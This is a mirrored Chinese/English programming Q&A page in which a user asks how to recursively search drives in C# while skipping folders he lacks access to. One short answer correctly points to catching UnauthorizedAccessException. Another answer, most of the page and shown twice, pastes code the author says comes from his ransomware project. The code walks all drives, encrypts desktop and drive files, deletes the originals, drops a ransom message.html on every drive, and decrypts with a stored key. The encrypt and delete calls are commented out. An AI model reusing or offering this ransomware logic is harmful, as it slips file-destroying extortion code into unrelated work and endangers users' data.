搜索 c# 中的所有文件夹,不会死在一个我也无权访问的文件夹上

发布于 2024-12-21 17:41:03 字数 278 浏览 2 评论 0原文

我想在硬盘驱动器中搜索其中包含“StudentPortalNightly”的文件夹 但当我得到的是一个例外,因为我无权访问所有文件夹。

List<string> dirs = Directory.GetDirectories( @"C:\" , "StudentPortalNightly", SearchOption.AllDirectories).ToList();

有没有办法只搜索我有合法访问权限的文件夹?

谢谢

埃里克-

I want to search the hard drive for folders with "StudentPortalNightly" in them
but when I get instead is an exception because I don't have access to all the folders..

List<string> dirs = Directory.GetDirectories( @"C:\" , "StudentPortalNightly", SearchOption.AllDirectories).ToList();

Is there a way to search only the folders I have legitimate access to?

Thanks

Eric-

如果你对这篇内容有疑问,欢迎到本站社区发帖提问 参与讨论,获取更多帮助,或者扫码二维码加入 Web 技术交流群。

扫码二维码加入Web技术交流群

发布评论

需要 登录 才能够评论, 你可以免费 注册 一个本站的账号。

评论(3

七度光 2024-12-28 17:41:03

代码示例的屏幕截图

List<string> dirs = new List<string>(Directory.GetFiles(@"C:\").ToList());

Screenshot from your code example

List<string> dirs = new List<string>(Directory.GetFiles(@"C:\").ToList());
月光色 2024-12-28 17:41:03

只要捕获正确的异常,Try-catch 就会起作用。在这种情况下,您需要捕获 System.UnauthorizedAccessException

Try-catch will work so long as you catch the correct exception. In this case you need to catch System.UnauthorizedAccessException

娇纵 2024-12-28 17:41:03

我不确定这是否适合你,但我在我的 Github 项目中使用了它并且它有效。对于某些用户来说,由于文件权限错误,它不起作用,但它不会中断执行并继续。这个 cdode 来自我曾经制作的勒索软件项目 。我确定您需要编辑下面的代码的某些部分。

// So this is where a lot of magic is happening, and you dont wanna touch it unless spending 
        // a lot of time in getting it to work again. Since it "kinda works" (like 80%), im not gonna
        // try to fix this as long as a handful of people request it. It was already a pain and im happy
        // it works for now.
        string[] file;
        private void ShowAllFoldersUnder(string path, int indent, string mode = "decrypt")
        {
            try
            {
                if ((File.GetAttributes(path) & FileAttributes.ReparsePoint)
                    != FileAttributes.ReparsePoint)
                {
                    foreach (string folder in Directory.GetDirectories(path))
                    {
                        if (!folder.Contains("System Volume Information"))
                        {
                            try
                            {
                                file = Directory.GetFiles(Path.GetFullPath(folder));
                            }
                            catch (Exception ex) { write(ex.Message); }

                            // This should check the file extension.
                            foreach (string s in file)
                            {
                                // Do whatever u want

                            }
                        }

                        ShowAllFoldersUnder(folder, indent + 2);
                    }
                }
            }
            catch (Exception e) { write(e.Message); Log(e.Message, "ShowAllFolderUnder > General Error"); }
            
        }

        // This will get all the files  and and tries to encrypt it. It works together with "ShowAllFoldersUnder()"
        // to get as many files as possible.
        public void GetFiles(string mode = "encrypt")
        {
            try
            {
                // Encrypt Desktop Files first!
                string[] desktopFiles = Directory.GetFiles(Environment.GetFolderPath(Environment.SpecialFolder.Desktop), "*.*", SearchOption.AllDirectories);
                foreach(string s in desktopFiles)
                {
                    try
                    {
                        if (!s.Contains(Properties.Settings.Default.extension) && !s.Contains("Sytem Volume Information") && mode != "decrypt")
                        {
                            // FUSE
                            //Task.Run(() => Crypto.FileEncrypt(s, Properties.Settings.Default.key));
                            write("Encrypted " + s);

                            try
                            {
                                // FUSE
                                //File.Delete(s);
                            }
                            catch (Exception ex2)
                            {
                                write("Cant delete file " + ex2.Message);
                                Log(ex2.Message, "GetFiles > File Delete Error");
                            }
                        }
                        else if(mode == "decrypt")
                        {
                            if(s.Contains(Properties.Settings.Default.extension) && !s.Contains("System Volume Information"))
                            {
                                Task.Run(() => Crypto.FileDecrypt(s, s.Replace(Properties.Settings.Default.extension, ""), Properties.Settings.Default.key));
                                write("Decrypted " + s);

                                try
                                {
                                    // Delete original encrypted file?
                                    //File.Delete(s);
                                }
                                catch (Exception ex2)
                                {
                                    write("Cant delete file " + ex2.Message);
                                    Log(ex2.Message, "GetFiles > File Delete Error");
                                }
                            }
                        }
                    }
                    catch (Exception ex)
                    {
                        Log(ex.Message, "Getfiles > General Error");
                    }
                }

                // Now Encrypt whole hard drive
                foreach (var drive in DriveInfo.GetDrives())
                {

                    // This will try to create message in eighter plain text file or html file.
                    try
                    {
                        if(Properties.Settings.Default.message.Length > 0)
                        {
                            File.WriteAllText(drive.Name + "\\message.html", Properties.Settings.Default.message);
                            File.WriteAllText(Environment.GetFolderPath(Environment.SpecialFolder.Desktop) + "\\message.html", Properties.Settings.Default.message);

                            write("Created File message.html on drive " + drive.Name + "\\message");
                            Log("File 'message.html' created on drive " + drive.Name + "\\message.html", "GetFiles > Check Message Settings");
                        }
                    }
                    catch (Exception ex)
                    {
                        Log(ex.Message, "GetFiles > Create Message File");
                        write(ex.Message);
                    }


                    try
                    {
                        write("Found drive " + drive.Name);
                        Log("Found drive " + drive.Name, "GetFiles > Drive State Check");

                        try
                        {
                            //  if the drive is ready try to get all the files and files in subfolders using ShowAllFoldersUnder()
                            if (drive.IsReady)
                            {
                                // Get all sub folders etc
                                ShowAllFoldersUnder(drive.Name, 0);
                            }
                            else
                            {
                                Log("Found drive " + drive.Name + " , but it's not ready.", "GetFiles > Drive State Check");
                                write("Found drive " + drive.Name + " , but it's not ready.");
                            }
                        }
                        catch { }
                    }
                    catch (Exception ex1)
                    {
                        write("ex1 " + ex1.Message);
                        Log(ex1.Message, "GetFiles > Drive Error");
                    }
                }
            }
            catch(Exception ex)
            {
                Log(ex.Message, "GetFiles > General Drive Error");
            }

            write("Done getting stuff :)");
        }

Im not sure if this will work for you, but i used this in my Github Project and it worked. for some users it doesnt work because of the file permission error, but it wont break execution and goes on. This cdode is from my Ransomware Project i once made. Im sure you need to edit some part of the code below.

// So this is where a lot of magic is happening, and you dont wanna touch it unless spending 
        // a lot of time in getting it to work again. Since it "kinda works" (like 80%), im not gonna
        // try to fix this as long as a handful of people request it. It was already a pain and im happy
        // it works for now.
        string[] file;
        private void ShowAllFoldersUnder(string path, int indent, string mode = "decrypt")
        {
            try
            {
                if ((File.GetAttributes(path) & FileAttributes.ReparsePoint)
                    != FileAttributes.ReparsePoint)
                {
                    foreach (string folder in Directory.GetDirectories(path))
                    {
                        if (!folder.Contains("System Volume Information"))
                        {
                            try
                            {
                                file = Directory.GetFiles(Path.GetFullPath(folder));
                            }
                            catch (Exception ex) { write(ex.Message); }

                            // This should check the file extension.
                            foreach (string s in file)
                            {
                                // Do whatever u want

                            }
                        }

                        ShowAllFoldersUnder(folder, indent + 2);
                    }
                }
            }
            catch (Exception e) { write(e.Message); Log(e.Message, "ShowAllFolderUnder > General Error"); }
            
        }

        // This will get all the files  and and tries to encrypt it. It works together with "ShowAllFoldersUnder()"
        // to get as many files as possible.
        public void GetFiles(string mode = "encrypt")
        {
            try
            {
                // Encrypt Desktop Files first!
                string[] desktopFiles = Directory.GetFiles(Environment.GetFolderPath(Environment.SpecialFolder.Desktop), "*.*", SearchOption.AllDirectories);
                foreach(string s in desktopFiles)
                {
                    try
                    {
                        if (!s.Contains(Properties.Settings.Default.extension) && !s.Contains("Sytem Volume Information") && mode != "decrypt")
                        {
                            // FUSE
                            //Task.Run(() => Crypto.FileEncrypt(s, Properties.Settings.Default.key));
                            write("Encrypted " + s);

                            try
                            {
                                // FUSE
                                //File.Delete(s);
                            }
                            catch (Exception ex2)
                            {
                                write("Cant delete file " + ex2.Message);
                                Log(ex2.Message, "GetFiles > File Delete Error");
                            }
                        }
                        else if(mode == "decrypt")
                        {
                            if(s.Contains(Properties.Settings.Default.extension) && !s.Contains("System Volume Information"))
                            {
                                Task.Run(() => Crypto.FileDecrypt(s, s.Replace(Properties.Settings.Default.extension, ""), Properties.Settings.Default.key));
                                write("Decrypted " + s);

                                try
                                {
                                    // Delete original encrypted file?
                                    //File.Delete(s);
                                }
                                catch (Exception ex2)
                                {
                                    write("Cant delete file " + ex2.Message);
                                    Log(ex2.Message, "GetFiles > File Delete Error");
                                }
                            }
                        }
                    }
                    catch (Exception ex)
                    {
                        Log(ex.Message, "Getfiles > General Error");
                    }
                }

                // Now Encrypt whole hard drive
                foreach (var drive in DriveInfo.GetDrives())
                {

                    // This will try to create message in eighter plain text file or html file.
                    try
                    {
                        if(Properties.Settings.Default.message.Length > 0)
                        {
                            File.WriteAllText(drive.Name + "\\message.html", Properties.Settings.Default.message);
                            File.WriteAllText(Environment.GetFolderPath(Environment.SpecialFolder.Desktop) + "\\message.html", Properties.Settings.Default.message);

                            write("Created File message.html on drive " + drive.Name + "\\message");
                            Log("File 'message.html' created on drive " + drive.Name + "\\message.html", "GetFiles > Check Message Settings");
                        }
                    }
                    catch (Exception ex)
                    {
                        Log(ex.Message, "GetFiles > Create Message File");
                        write(ex.Message);
                    }


                    try
                    {
                        write("Found drive " + drive.Name);
                        Log("Found drive " + drive.Name, "GetFiles > Drive State Check");

                        try
                        {
                            //  if the drive is ready try to get all the files and files in subfolders using ShowAllFoldersUnder()
                            if (drive.IsReady)
                            {
                                // Get all sub folders etc
                                ShowAllFoldersUnder(drive.Name, 0);
                            }
                            else
                            {
                                Log("Found drive " + drive.Name + " , but it's not ready.", "GetFiles > Drive State Check");
                                write("Found drive " + drive.Name + " , but it's not ready.");
                            }
                        }
                        catch { }
                    }
                    catch (Exception ex1)
                    {
                        write("ex1 " + ex1.Message);
                        Log(ex1.Message, "GetFiles > Drive Error");
                    }
                }
            }
            catch(Exception ex)
            {
                Log(ex.Message, "GetFiles > General Drive Error");
            }

            write("Done getting stuff :)");
        }
~没有更多了~
我们使用 Cookies 和其他技术来定制您的体验包括您的登录状态等。通过阅读我们的 隐私政策 了解更多相关信息。 单击 接受 或继续使用网站,即表示您同意使用 Cookies 和您的相关数据。
原文